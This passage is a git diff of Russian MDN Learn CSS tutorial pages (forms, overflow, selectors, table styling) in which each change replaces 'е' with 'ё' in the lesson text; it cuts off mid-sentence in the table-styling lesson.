class="blockIndicator warning"> -<p><strong>Важно: </strong> <span class="tlid-translation translation" lang="ru"><span title="">При изменении стиля элементов формы следует соблюдать осторожность, чтобы убедиться, что для пользователя все еще очевидно, что они являются элементами форм. Вы можете создать форму ввода без границ и фона, которая практически неотличима от окружающего контента и это может сделать очень сложно распознаваемой, чтобы заполнить ее.</span></span></p> +<p><strong>Важно: </strong> <span class="tlid-translation translation" lang="ru"><span title="">При изменении стиля элементов формы следует соблюдать осторожность, чтобы убедиться, что для пользователя все ещё очевидно, что они являются элементами форм. Вы можете создать форму ввода без границ и фона, которая практически неотличима от окружающего контента и это может сделать очень сложно распознаваемой, чтобы заполнить ее.</span></span></p> </div> <p>Как объяснено в уроке <a href="/en-US/docs/Learn/Forms/Styling_web_forms">стилизация форм</a> в части HTML этого курса, <span class="tlid-translation translation" lang="ru"><span title="">многие из более сложных типов ввода определяются операционной системой и не доступны для стилизации. </span></span><span class="tlid-translation translation" lang="ru"><span title="">Поэтому вы всегда должны предполагать, что формы будут выглядеть по-разному для разных пользователей и тестировать сложные формы во многих браузерах.</span></span></p> <h3 id="Наследование_и_элементы_форм">Наследование и элементы форм</h3> -<p>В некоторых браузерах, элементы форм не наследуют стиль шрифтов по умолчанию. Поэтому если вы хотите быть уверенными что ваши поля форм используют шрифт определенный в body или родительском элементе, вы должны добавить это правило в ваш CSS.</p> +<p>В некоторых браузерах, элементы форм не наследуют стиль шрифтов по умолчанию. Поэтому если вы хотите быть уверенными что ваши поля форм используют шрифт определённый в body или родительском элементе, вы должны добавить это правило в ваш CSS.</p> <pre class="brush: css"><code>button, input, @@ -135,7 +135,7 @@ textarea { <h3 id="Собираем_все_вместе_в_перезагрузку">Собираем все вместе в "перезагрузку"</h3> -<p>В качестве последнего шага, мы можем обернуть различные свойства, обсуждаемые<span class="tlid-translation translation" lang="ru"><span title=""> выше, в следующую «форму перезагрузки», чтобы обеспечить согласованную основу для работы. Это включает все элементы упомянутые в последних трех разделах:</span></span></p> +<p>В качестве последнего шага, мы можем обернуть различные свойства, обсуждаемые<span class="tlid-translation translation" lang="ru"><span title=""> выше, в следующую «форму перезагрузки», чтобы обеспечить согласованную основу для работы. Это включает все элементы упомянутые в последних трёх разделах:</span></span></p> <pre class="brush: css"><code>button, input, diff --git a/files/ru/learn/css/building_blocks/overflowing_content/index.html b/files/ru/learn/css/building_blocks/overflowing_content/index.html index 919bed3501..72bcc84f37 100644 --- a/files/ru/learn/css/building_blocks/overflowing_content/index.html +++ b/files/ru/learn/css/building_blocks/overflowing_content/index.html @@ -22,11 +22,11 @@ translation_of: Learn/CSS/Building_blocks/Overflowing_content <h2 id="Что_такое_overflow">Что такое overflow?</h2> -<p>Мы уже знаем что все в CSS - блоки, и что мы можем ограничивать размер этих блоков присваивая им определенное значение посредством {{cssxref("width")}} и {{cssxref("height")}} (или {{cssxref("inline-size")}} и {{cssxref("block-size")}}). Overflow это то что случается, когда у вас слишком много контента в блоке, так что он не помещается в данный ограниченный блок. CSS дает нам различные инструменты для управления этим overflow, и это также полезная концепция для понимания на этой ранней стадии. Вы будете встречаться с overflow достаточно часто когда пишите CSS, особенно когда глубже погрузитесь в CSS макет.</p> +<p>Мы уже знаем что все в CSS - блоки, и что мы можем ограничивать размер этих блоков присваивая им определённое значение посредством {{cssxref("width")}} и {{cssxref("height")}} (или {{cssxref("inline-size")}} и {{cssxref("block-size")}}). Overflow это то что случается, когда у вас слишком много контента в блоке, так что он не помещается в данный ограниченный блок. CSS даёт нам различные инструменты для управления этим overflow, и это также полезная концепция для понимания на этой ранней стадии. Вы будете встречаться с overflow достаточно часто когда пишите CSS, особенно когда глубже погрузитесь в CSS макет.</p> <h2 id="CSS_пытается_избежать_потери_данных">CSS пытается избежать "потери данных"</h2> -<p>Давайте начнем с рассмотрения двух примеров, которые демонстрируют как CSS ведет себя когда у вас overflow.</p> +<p>Давайте начнём с рассмотрения двух примеров, которые демонстрируют как CSS ведёт себя когда у вас overflow.</p> <p>The first is a box that has been restricted in the block dimension by giving it a <code>height</code>. We have then added more content than there is space for in this box. The content is overflowing the box and laying itself rather messily over the paragraph below the box.</p> diff --git a/files/ru/learn/css/building_blocks/selectors/attribute_selectors/index.html b/files/ru/learn/css/building_blocks/selectors/attribute_selectors/index.html index de2d540a59..4051be5c83 100644 --- a/files/ru/learn/css/building_blocks/selectors/attribute_selectors/index.html +++ b/files/ru/learn/css/building_blocks/selectors/attribute_selectors/index.html @@ -12,7 +12,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Attribute_selectors --- <p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks")}}</p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Как вы знаете из курса о HTML, элементы могут иметь атрибуты, которые дают дополнительную информацию о размечаемом элементе.</span></span> <span class="tlid-translation translation" lang="ru"><span title="">В CSS вы можете использовать селекторы атрибута</span></span> <span class="tlid-translation translation" lang="ru"><span title="">для стилизации элементов с определенными атрибутами</span></span>. <span class="tlid-translation translation" lang="ru"><span title="">Этот урок покажет вам, как использовать эти очень полезные селекторы.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Как вы знаете из курса о HTML, элементы могут иметь атрибуты, которые дают дополнительную информацию о размечаемом элементе.</span></span> <span class="tlid-translation translation" lang="ru"><span title="">В CSS вы можете использовать селекторы атрибута</span></span> <span class="tlid-translation translation" lang="ru"><span title="">для стилизации элементов с определёнными атрибутами</span></span>. <span class="tlid-translation translation" lang="ru"><span title="">Этот урок покажет вам, как использовать эти очень полезные селекторы.</span></span></p> <table class="learn-box standard-table"> <tbody> @@ -120,14 +120,14 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Attribute_selectors <h2 id="Чувствительность_к_регистру">Чувствительность к регистру</h2> -<p><span class="tlid-translation translation" lang="ru"><span title="">Если вы хотите выбрать значения атрибута без учета регистра</span></span><span class="tlid-translation translation" lang="ru"><span title="">, вы можете использовать значение</span></span> <code>i</code> перед закрывающей скобкой. Этот признак говорит браузеру, что символы ASCII должны сопоставляться без учета регистра. <span class="tlid-translation translation" lang="ru"><span title="">Без этого признака значения будут сопоставлены в соответствии с чувствительностью к регистру языка документа</span></span> — <span class="tlid-translation translation" lang="ru"><span title="">в случае HTML такая чувствительность присутствует</span></span>.</p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Если вы хотите выбрать значения атрибута без учёта регистра</span></span><span class="tlid-translation translation" lang="ru"><span title="">, вы можете использовать значение</span></span> <code>i</code> перед закрывающей скобкой. Этот признак говорит браузеру, что символы ASCII должны сопоставляться без учёта регистра. <span class="tlid-translation translation" lang="ru"><span title="">Без этого признака значения будут сопоставлены в соответствии с чувствительностью к регистру языка документа</span></span> — <span class="tlid-translation translation" lang="ru"><span title="">в случае HTML такая чувствительность присутствует</span></span>.</p> <p>В примере ниже первый селектор выберет значение, начинающееся с <code>a</code> — <span class="tlid-translation translation" lang="ru"><span title="">это соответствует только первому элементу списка</span></span><span class="tlid-translation translation" lang="ru"><span title="">, потому что два других элемента списка начинаются с заглавной буквы A</span></span>. Второй селектор использует признак нечувствительности к регистру и поэтому выберет все элементы списка.</p> <p>{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-case.html", '100%', 800)}}</p> <div class="blockIndicator note"> -<p><strong>Примечание</strong>: Существует также более новое значение <code>s</code>, <span class="tlid-translation translation" lang="ru"><span title="">которое вызывает сопоставление с учетом регистра в контекстах, где сопоставление обычно не учитывает регистр, однако это не так хорошо поддерживается в браузерах и не очень полезно в контексте HTML.</span></span></p> +<p><strong>Примечание</strong>: Существует также более новое значение <code>s</code>, <span class="tlid-translation translation" lang="ru"><span title="">которое вызывает сопоставление с учётом регистра в контекстах, где сопоставление обычно не учитывает регистр, однако это не так хорошо поддерживается в браузерах и не очень полезно в контексте HTML.</span></span></p> </div> <h2 id="Следующие_шаги">Следующие шаги</h2> diff --git a/files/ru/learn/css/building_blocks/selectors/combinators/index.html b/files/ru/learn/css/building_blocks/selectors/combinators/index.html index c5dcf8b0c1..1905482b84 100644 --- a/files/ru/learn/css/building_blocks/selectors/combinators/index.html +++ b/files/ru/learn/css/building_blocks/selectors/combinators/index.html @@ -31,7 +31,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Combinators <pre class="brush: css notranslate">body article p</pre> -<p>В приведенном ниже примере выбирается только тот элемент <p>, который находится внутри элемента с классом<code>.box</code>.</p> +<p>В приведённом ниже примере выбирается только тот элемент <p>, который находится внутри элемента с классом<code>.box</code>.</p> <p>{{EmbedGHLiveSample("css-examples/learn/selectors/descendant.html", '100%', 500)}}</p> @@ -53,7 +53,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Combinators <pre class="brush: css notranslate">p + img</pre> -<p>Распространенный вариант использования — сделать что-то с абзацем, который следует за заголовком, как в примере ниже. Здесь мы ищем абзац, который непосредственно примыкает к <code><h1></code>, и стилизуем его.</p> +<p>Распространённый вариант использования — сделать что-то с абзацем, который следует за заголовком, как в примере ниже. Здесь мы ищем абзац, который непосредственно примыкает к <code><h1></code>, и стилизуем его.</p> <p>Если вы вставите какой-то другой элемент, например <code><h2></code> между <code><h1></code> и <code><p></code>, вы обнаружите, что абзац больше не соответствует селектору и поэтому не получает цвет фона и переднего плана, применяемый, когда элемент является соседним.</p> @@ -65,7 +65,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Combinators <pre class="brush: css notranslate">p ~ img</pre> -<p>В приведенном ниже примере мы выбираем все элементы <code><p></code>, которые идут после <code><h1></code>, и хотя в документе есть также <code><div></code>, тем не менее <code><p></code>, который идет после него, будет выбран.</p> +<p>В приведённом ниже примере мы выбираем все элементы <code><p></code>, которые идут после <code><h1></code>, и хотя в документе есть также <code><div></code>, тем не менее <code><p></code>, который идёт после него, будет выбран.</p> <p>{{EmbedGHLiveSample("css-examples/learn/selectors/general.html", '100%', 600)}}</p> @@ -85,7 +85,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Combinators <h2 id="Двигаемся_дальше">Двигаемся дальше</h2> -<p>Это последний раздел в наших уроках по селекторам. Далее мы перейдем к другой важной части CSS — <a href="https://wiki.developer.mozilla.org/ru/docs/Learn/CSS/Building_blocks/The_box_model">CSS модель коробки</a>.</p> +<p>Это последний раздел в наших уроках по селекторам. Далее мы перейдём к другой важной части CSS — <a href="https://wiki.developer.mozilla.org/ru/docs/Learn/CSS/Building_blocks/The_box_model">CSS модель коробки</a>.</p> <p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}}</p> diff --git a/files/ru/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html b/files/ru/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html index 8720c0a277..cea4ff52bc 100644 --- a/files/ru/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html +++ b/files/ru/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html @@ -47,7 +47,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Pseudo-classes_and_p <p>{{EmbedGHLiveSample("css-examples/learn/selectors/first-child2.html", '100%', 700)}}</p> -<p>Все псевдоклассы ведут себя подобным образом. Они нацелены на какой-то фрагмент вашего документа, находящийся в определенном состоянии, и ведут себя так, как если бы вы добавили класс в свой HTML. Рассмотрим некоторые другие примеры в MDN:</p> +<p>Все псевдоклассы ведут себя подобным образом. Они нацелены на какой-то фрагмент вашего документа, находящийся в определённом состоянии, и ведут себя так, как если бы вы добавили класс в свой HTML. Рассмотрим некоторые другие примеры в MDN:</p> <ul> <li><code><a href="https://wiki.developer.mozilla.org/ru/docs/Web/CSS/:last-child">:last-child</a></code></li> @@ -80,7 +80,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Pseudo-classes_and_p <p><strong>Примечание</strong>: Некоторые ранние псевдоэлементы использовали синтаксис одинарного двоеточия, которое вы можете иногда видеть в коде или примерах. Современные браузеры поддерживают ранние псевдоэлементы с одинарным или двойным двоеточием синтаксиса для обратной совместимости.</p> </div> -<p>Например, если вы хотите выбрать первую строку абзаца, вы могли бы обернуть ее в <code><span></code> и использовать селектор элемента; однако это может не сработать, если количество слов, которые вы обернули, будет больше или меньше ширины родительского элемента. Поскольку мы, как правило, не знаем, сколько слов поместится в строке — т.к. их количество меняется, если меняется ширина экрана или размер шрифта — то надёжного решения при помощи HTML нет.</p> +<p>Например, если вы хотите выбрать первую строку абзаца, вы могли бы обернуть её в <code><span></code> и использовать селектор элемента; однако это может не сработать, если количество слов, которые вы обернули, будет больше или меньше ширины родительского элемента. Поскольку мы, как правило, не знаем, сколько слов поместится в строке — т.к. их количество меняется, если меняется ширина экрана или размер шрифта — то надёжного решения при помощи HTML нет.</p> <p>Селектор псевдоэлемента <code>::first-line</code> сделает это наверняка — если количество слов увеличивается или уменьшается, он всё равно будет выбирать только первую строку.</p> @@ -103,13 +103,13 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Pseudo-classes_and_p <p>Существует пара специальных псевдоэлементов, которые используются вместе со свойством <code><a href="/en-US/docs/Web/CSS/content">content</a></code> для вставки содержимого в документ с помощью CSS.</p> -<p>Вы можете использовать их для вставки строки текста, как в приведенном ниже живом примере. Попробуйте изменить текстовое значение свойства {{cssxref("content")}} и вы увидите, как изменится результат. Можете также изменить псевдоэлемент <code>::before</code> на <code>::after</code> и увидите, что текст вставлен в конце элемента, а не в начале.</p> +<p>Вы можете использовать их для вставки строки текста, как в приведённом ниже живом примере. Попробуйте изменить текстовое значение свойства {{cssxref("content")}} и вы увидите, как изменится результат. Можете также изменить псевдоэлемент <code>::before</code> на <code>::after</code> и увидите, что текст вставлен в конце элемента, а не в начале.</p> <p>{{EmbedGHLiveSample("css-examples/learn/selectors/before.html", '100%', 400)}}</p> <p>Однако вставка строк текста из CSS в реальности происходит не слишком часто, поскольку этот текст недоступен для некоторых <span class="extended-text__full">экранных диктор</span>ов и его будет трудно найти и отредактировать в будущем.</p> -<p>Более корректным использованием этих псевдоэлементов является вставка значка, например маленькой стрелки, добавленной в приведенном ниже примере, которая является визуальным указателем, не предназначенным для зачитывания с помощью <span class="extended-text__full">экранного диктор</span>а:</p> +<p>Более корректным использованием этих псевдоэлементов является вставка значка, например маленькой стрелки, добавленной в приведённом ниже примере, которая является визуальным указателем, не предназначенным для зачитывания с помощью <span class="extended-text__full">экранного диктор</span>а:</p> <p>{{EmbedGHLiveSample("css-examples/learn/selectors/after-icon.html", '100%', 400)}}</p> @@ -137,7 +137,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Pseudo-classes_and_p <tbody> <tr> <td>{{ Cssxref(":active") }}</td> - <td>Подходит, когда пользователь активирует (например, щелкает мышью) элемент.</td> + <td>Подходит, когда пользователь активирует (например, щёлкает мышью) элемент.</td> </tr> <tr> <td>{{ Cssxref(":any-link") }}</td> @@ -185,7 +185,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Pseudo-classes_and_p </tr> <tr> <td>{{ Cssxref(":first-of-type") }}</td> - <td>Соответствует элементу, который является первым определенного типа среди других дочерних элементов одного предка.</td> + <td>Соответствует элементу, который является первым определённого типа среди других дочерних элементов одного предка.</td> </tr> <tr> <td>{{ Cssxref(":focus") }}</td> @@ -209,7 +209,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Pseudo-classes_and_p </tr> <tr> <td>{{ Cssxref(":indeterminate") }}</td> - <td>Соответствует элементам пользовательского интерфейса, значение которых находится в неопределенном состоянии, обычно <a href="https://wiki.developer.mozilla.org/ru/docs/Web/HTML/Element/Input/checkbox">checkboxes</a>.</td> + <td>Соответствует элементам пользовательского интерфейса, значение которых находится в неопределённом состоянии, обычно <a href="https://wiki.developer.mozilla.org/ru/docs/Web/HTML/Element/Input/checkbox">checkboxes</a>.</td> </tr> <tr> <td>{{ Cssxref(":in-range") }}</td> @@ -253,19 +253,19 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Pseudo-classes_and_p </tr> <tr> <td>{{ Cssxref(":nth-child") }}</td> - <td>Соответствует элементам из списка дочерних элементов одного предка, которые подобраны по формуле вида <em>an+b</em> (например, 2n + 1 будет соответствовать элементам 1, 3, 5, 7 и т. д. Все нечетные числа.)</td> + <td>Соответствует элементам из списка дочерних элементов одного предка, которые подобраны по формуле вида <em>an+b</em> (например, 2n + 1 будет соответствовать элементам 1, 3, 5, 7 и т. д. Все нечётные числа.)</td> </tr> <tr> <td>{{ Cssxref(":nth-of-type") }}</td> - <td>Соответствует элементам из списка дочерних элементов одного предка, имеющим определенный тип (например, элементы <p>) — дочерние элементы подобраны по формуле вида <em>an+b</em> (например, 2n + 1 будет соответствовать элементам 1, 3, 5, 7 и т. д. Все нечетные числа.)</td> + <td>Соответствует элементам из списка дочерних элементов одного предка, имеющим определённый тип (например, элементы <p>) — дочерние элементы подобраны по формуле вида <em>an+b</em> (например, 2n + 1 будет соответствовать элементам 1, 3, 5, 7 и т. д. Все нечётные числа.)</td> </tr> <tr> <td>{{ Cssxref(":nth-last-child") }}</td> - <td>Соответствует элементам из списка дочерних элементов одного предка, считая в обратном порядке от конца. Дочерние элементы подобраны по формуле вида <em>an+b</em> (например, 2n + 1 будет соответствовать последнему элементу в последовательности, затем на два элемента до него, затем ещё на два элемента назад и т. д. Все нечетные, считая с конца.)</td> + <td>Соответствует элементам из списка дочерних элементов одного предка, считая в обратном порядке от конца. Дочерние элементы подобраны по формуле вида <em>an+b</em> (например, 2n + 1 будет соответствовать последнему элементу в последовательности, затем на два элемента до него, затем ещё на два элемента назад и т. д. Все нечётные, считая с конца.)</td> </tr> <tr> <td>{{ Cssxref(":nth-last-of-type") }}</td> - <td>Соответствует элементам из списка дочерних элементов одного предка, имеющим определенный тип (например, элементы <p>), считая в обратном порядке от конца. Дочерние элементы подобраны по формуле вида <em>an+b</em> (например, 2n + 1 будет соответствовать последнему элементу этого типа в последовательности, затем на два элемента до него, затем ещё на два элемента назад и т. д. Все нечетные, считая с конца.)</td> + <td>Соответствует элементам из списка дочерних элементов одного предка, имеющим определённый тип (например, элементы <p>), считая в обратном порядке от конца. Дочерние элементы подобраны по формуле вида <em>an+b</em> (например, 2n + 1 будет соответствовать последнему элементу этого типа в последовательности, затем на два элемента до него, затем ещё на два элемента назад и т. д. Все нечётные, считая с конца.)</td> </tr> <tr> <td>{{ Cssxref(":only-child") }}</td> diff --git a/files/ru/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html b/files/ru/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html index c110b26aa6..3249acf691 100644 --- a/files/ru/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html +++ b/files/ru/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html @@ -38,7 +38,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Type_Class_and_ID_Se <h2 id="Универсальный_селектор">Универсальный селектор</h2> -<p>Универсальный селектор обозначается звездочкой (<code>*</code>). Он выбирает всё в документе (или внутри родительского элемента, если он сцеплен с другим элементом и с комбинатором потомка). В следующем примере мы используем универсальный селектор, чтобы убрать внешние отступы у всех элементов. Несмотря на стилизацию по умолчанию, добавленную браузером, — она раздвигает заголовки и абзацы с помощью отступов, — всё плотно сжато.</p> +<p>Универсальный селектор обозначается звёздочкой (<code>*</code>). Он выбирает всё в документе (или внутри родительского элемента, если он сцеплен с другим элементом и с комбинатором потомка). В следующем примере мы используем универсальный селектор, чтобы убрать внешние отступы у всех элементов. Несмотря на стилизацию по умолчанию, добавленную браузером, — она раздвигает заголовки и абзацы с помощью отступов, — всё плотно сжато.</p> <p>{{EmbedGHLiveSample("css-examples/learn/selectors/universal.html", '100%', 750)}}</p> diff --git a/files/ru/learn/css/building_blocks/styling_tables/index.html b/files/ru/learn/css/building_blocks/styling_tables/index.html index 2dafd6f79b..cc6475421b 100644 --- a/files/ru/learn/css/building_blocks/styling_tables/index.html +++ b/files/ru/learn/css/building_blocks/styling_tables/index.html @@ -28,7 +28,7 @@ translation_of: Learn/CSS/Building_blocks/Styling_tables <h2 id="Типичная_HTML_таблица">Типичная HTML таблица</h2> -<p>Давайте начнем с рассмотрения типичной HTML таблицы. Когда мы говорим о примерах типичных HTML таблиц обычно речь идет о обуви, погоде или сотрудниках; мы решили сделать это более интересным создав таблицу о знаменитых панк группах Великобритании. Разметка выглядит следующим образом:</p> +<p>Давайте начнём с рассмотрения типичной HTML таблицы. Когда мы говорим о примерах типичных HTML таблиц обычно речь идёт о обуви, погоде или сотрудниках; мы решили сделать это более интересным создав таблицу о знаменитых панк группах Великобритании. Разметка выглядит следующим образом:</p> <pre class="brush: html"><table> <caption>A summary of the UK's most famous punk bands</caption> @@ -125,12 +125,12 @@ th, td { <p>Наиболее важные части следующие:</p> <ul> - <li>Свойство {{cssxref("table-layout")}} со значением <code>fixed</code> как правило полезно использовать для вашей таблицы, это делает поведение таблицы немного более предсказуемым, чем значение по умолчанию. Обычно столбцы таблицы имеют размер в зависимости от того сколько в них контента, что приводит иногда к некоторым странным результатам. Когда <code>table-layout: fixed</code>, размер ваших столбцов определяется шириной их заголовков и делает их контент соответствующего размера. Вот почему вы выбрали четыре разных заголовка с помощью селектора <code>thead th:nth-child(<em>n</em>)</code> ({{cssxref(":nth-child")}}) ("Выберите <em>n-ый</em> дочерний элемент {{htmlelement("th")}} в последовательности, внутри элемента {{htmlelement("thead")}}") и задать им заданную в процентах ширину. Ширина колонки соответствует ширине ее заголовка, это правильное решение при определении размеров колонок таблицы. Крис Койер (Chris Coyier) более подробно рассматривает эту технику в статье <a href="https://css-tricks.com/fixing-tables-long-strings/">Fixed Table Layouts</a>.<br> + <li>Свойство {{cssxref("table-layout")}} со значением <code>fixed</code> как правило полезно использовать для вашей таблицы, это делает поведение таблицы немного более предсказуемым, чем значение по умолчанию. Обычно столбцы таблицы имеют размер в зависимости от того сколько в них контента, что приводит иногда к некоторым странным результатам. Когда <code>table-layout: fixed</code>, размер ваших столбцов определяется шириной их заголовков и делает их контент соответствующего размера. Вот почему вы выбрали четыре разных заголовка с помощью селектора <code>thead th:nth-child(<em>n</em>)</code> ({{cssxref(":nth-child")}}) ("Выберите <em>n-ый</em> дочерний элемент {{htmlelement("th")}} в последовательности, внутри элемента {{htmlelement("thead")}}") и задать им заданную в процентах ширину. Ширина колонки соответствует ширине её заголовка, это правильное решение при определении размеров колонок таблицы. Крис Койер (Chris Coyier) более подробно рассматривает эту технику в статье <a href="https://css-tricks.com/fixing-tables-long-strings/">Fixed Table Layouts</a>.<br> <br> - Мы также использовали {{cssxref("width")}} 100%, что означает, что таблица заполнит любой контейнер и будет отзывчивой (хотя для этого потребуется еще некоторая работа для правильного отображения на экранах небольших размеров).</li> + Мы также использовали {{cssxref("width")}} 100%, что означает, что таблица заполнит любой контейнер и будет отзывчивой (хотя для этого потребуется ещё некоторая работа для правильного отображения на экранах небольших размеров).</li> <li>Свойство {{cssxref("border-collapse")}} со значением <code>collapse</code> это стандартная практика при стилизации любой таблицы. По умолчанию, когда вы задали рамки для элементов таблицы, все они будут иметь пробелы между собой, как показано на рисунке ниже: <img alt="" src="https://mdn.mozillademos.org/files/13068/no-border-collapse.png" style="display: block; margin: 0 auto;">Это не очень хорошо выглядит (хотя может это то что вам нужно, кто знает?). Если установить <code>border-collapse: collapse;</code> рамки схлопываются в одну и так выглядит намного лучше: <img alt="" src="https://mdn.mozillademos.org/files/13066/border-collapse.png" style="display: block; margin: 0 auto;"></li> <li>Мы установили {{cssxref("border")}} вокруг всей таблицы, это понадобится когда чуть позже мы будет устанавливать рамки вокруг header и footer таблицы — когда по периметру всей таблицы нет рамки и граница заканчивается просто отступом, таблица выглядит странно и разрозненно.</li> - <li>Мы установили {{cssxref("padding")}} на элементах {{htmlelement("th")}} и {{htmlelement("td")}} — это создает в талице воздух, который позволяет ей дышать, делая ее более понятной.</li> + <li>Мы установили {{cssxref("padding")}} на элементах {{htmlelement("th")}} и {{htmlelement("td")}} — это создаёт в талице воздух, который позволяет ей дышать, делая её более понятной.</li> </ul> <p>На этом этапе наша таблица выглядит уже гораздо лучше:</p> @@ -139,9 +139,9 @@ th, td { <h3 id="Немного_простой_типографики">Немного простой типографики</h3> -<p>Теперь мы еще кое-что изменим.</p> +<p>Теперь мы ещё кое-что изменим.</p> -<p>Во-первых, мы пойдем и найдем на <a href="https://www.google.com/fonts">Google Fonts</a> шрифт который подходит в нашей ситуации с таблицей о панк группах. Вы можете можете выбрать для себя другой шрифт если захотят, тогда вам понадобится заменить представленный {{htmlelement("link")}} элемент и изменить объявление {{cssxref("font-family")}} на выбранный вами Google Fonts шрифт.</p> +<p>Во-первых, мы пойдём и найдём на <a href="https://www.google.com/fonts">Google Fonts</a> шрифт который подходит в нашей ситуации с таблицей о панк группах. Вы можете можете выбрать для себя другой шрифт если захотят, тогда вам понадобится заменить представленный {{htmlelement("link")}} элемент и изменить объявление {{cssxref("font-family")}} на выбранный вами Google Fonts шрифт.</p> <p>Добавьте элемент {{htmlelement("link")}} в блок head вашего HTML, на строчку выше существующего элемента <code><link></code>:</p> @@ -190,7 +190,7 @@ tfoot th { <h3 id="Графика_и_цвета">Графика и цвета</h3> -<p>И наконец-то графика и цвета! Наша таблица заполнена тем что имеет отношение к панкам, поэтому нам нужно придать ей яркий впечатляющий вид. Не беспокойтесь, вам не обязательно делать таблицу слишком кричащей — вы можете выбрать что-то более утонченное и со вкусом.</p> +<p>И наконец-то графика и цвета! Наша таблица заполнена тем что имеет отношение к панкам, поэтому нам нужно придать ей яркий впечатляющий вид. Не беспокойтесь, вам не обязательно делать таблицу слишком кричащей — вы можете выбрать что-то более утончённое и со вкусом.</p> <p>Следующий шаг это добавить следующий CSS в ваш <code>style.css</code> файл в самом низу:</p> @@ -208,9 +208,9 @@ thead th, tfoot th, tfoot td { <p>Опять же здесь нет ничего конкретно для таблиц, но стоит отметить несколько вещей.</p> -<p>Мы добавили {{cssxref("background-image")}} в {{htmlelement("thead")}}, {{htmlelement("tfoot")}} и изменили {{cssxref("color")}} для всего текста внутри header и footer на белый (и еще {{cssxref("text-shadow")}}) для лучшей читаемости. Вы должны всегда быть уверены что ваш текст хорошо контрастирует с фоном, для обеспечения читаемости.</p> +<p>Мы добавили {{cssxref("background-image")}} в {{htmlelement("thead")}}, {{htmlelement("tfoot")}} и изменили {{cssxref("color")}} для всего текста внутри header и footer на белый (и ещё {{cssxref("text-shadow")}}) для лучшей читаемости. Вы должны всегда быть уверены что ваш текст хорошо контрастирует с фоном, для обеспечения читаемости.</p> -<p>Также мы добавили линейный градиент для {{htmlelement("th")}} и {{htmlelement("td")}} элементов внутри header и footer для придания легкой приятной текстуры, а также установили этим элементам яркие пурпурные границы. Полезно иметь несколько вложенных элементов, это позволяет накладывать несколько стилей друг на друга. Да, мы могли бы установить и фоновое изображение, и линейный градиент на {{htmlelement("thead")}} и {{htmlelement("tfoot")}} элементы используя множественные фоновые изображения, но мы решили сделать это отдельно для старых браузеров, которые не поддерживают <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">несколько фоновых изображений</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/linear-gradient">линейные градиенты</a>.</p> +<p>Также мы добавили линейный градиент для {{htmlelement("th")}} и {{htmlelement("td")}} элементов внутри header и footer для придания лёгкой приятной текстуры, а также установили этим элементам яркие пурпурные границы. Полезно иметь несколько вложенных элементов, это позволяет накладывать несколько стилей друг на друга. Да, мы могли бы установить и фоновое изображение, и линейный градиент на {{htmlelement("thead")}} и {{htmlelement("tfoot")}} элементы используя множественные фоновые изображения, но мы решили сделать это отдельно для старых браузеров, которые не поддерживают <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">несколько фоновых изображений</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/linear-gradient">линейные градиенты</a>.</p> <h4 id="Полосатая_зебра">Полосатая зебра</h4> @@ -233,8 +233,8 @@ table { }</pre> <ul> - <li>Ранее вы видели как {{cssxref(":nth-child")}} селектор использовался для выбора специфичных дочерних элементов. В качестве параметра также может быть передана формула, тогда он будет выбирать последовательность элементов. Так формула <code>2n-1</code> выберет все нечетные дочерние элементы (1, 3, 5 и т.д.), а формула <code>2n</code> выберет все четные (2, 4, 6 и т.д.). Мы использовали в нашем коде ключевые слова <code>odd</code> и <code>even</code>, которые делают тоже самое что и формулы выше. В данном случае мы устанавливаем четным и нечетным строкам разные (яркие) цвета.</li> - <li>Еще мы добавили повторяющийся плиткой фон ко всем строкам тела таблицы, который добавляет немного шума (полупрозрачный <code>.png</code> с небольшим количеством визуальных искажений на нем), чтобы получилась некоторая текстура.</li> + <li>Ранее вы видели как {{cssxref(":nth-child")}} селектор использовался для выбора специфичных дочерних элементов. В качестве параметра также может быть передана формула, тогда он будет выбирать последовательность элементов. Так формула <code>2n-1</code> выберет все нечётные дочерние элементы (1, 3, 5 и т.д.), а формула <code>2n</code> выберет все чётные (2, 4, 6 и т.д.). Мы использовали в нашем коде ключевые слова <code>odd</code> и <code>even</code>, которые делают тоже самое что и формулы выше. В данном случае мы устанавливаем чётным и нечётным строкам разные (яркие) цвета.</li> + <li>Ещё мы добавили повторяющийся плиткой фон ко всем строкам тела таблицы, который добавляет немного шума (полупрозрачный <code>.png</code> с небольшим количеством визуальных искажений на нем), чтобы получилась некоторая текстура.</li> <li>И наконец мы установили для таблицы 